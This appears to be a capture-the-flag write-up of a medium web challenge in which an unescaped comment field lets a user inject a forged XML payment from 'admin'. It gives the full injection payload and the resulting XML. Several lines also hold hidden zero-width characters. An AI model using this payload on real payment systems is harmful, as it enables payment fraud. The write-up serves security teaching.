Fragment XML

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: payment_forgery, xml_fragment_injection

Summary

Walkthrough of the CUSTOM Web Fragment XML. Web application for processing payments. The system validates that the sender equals "me" — you cannot pay from someone else's account. User input in the "comment" field is inserted into the XML docum

Description

Web application for processing payments. The system validates that the sender equals "me" — you cannot pay from someone else's account. User input in the "comment" field is inserted into the XML document without escaping.

Analysis

The application generates an XML document with payment data:

 xml read-only • copy allowed Copy
<payment>
  <sender>me</sender>
  <receiver>target</receiver>
  <amount>100</amount>
  <comment>user_input</comment>
</payment>

The comment field is not escaped, which allows injecting XML tags and creating an additional <payment> element with an arbitrary sender. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Structure Analysis

Determine that user input is inserted directly into XML without escaping special characters (<, >, /).

Step 2: Crafting the Payload

Close the current comment and payment elements, then open a new payment with sender=admin:

test</comment></payment><payment><sender>admin</sender><receiver>me</receiver><amount>999999</amount><comment>hacked

Step 3: Resulting XML

After injection, the XML looks like this:

 xml read-only • copy allowed Copy
<payment>
  <sender>me</sender>
  <receiver>target</receiver>
  <amount>100</amount>
  <comment>test</comment>
</payment>
<payment>
  <sender>admin</sender>
  <receiver>me</receiver>
  <amount>999999</amount>
  <comment>hacked</comment>
</payment>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The system processes both payments, including the forged one from admin. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering payment_forgery, xml_fragment_injection was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Fragment XML • Difficulty: Medium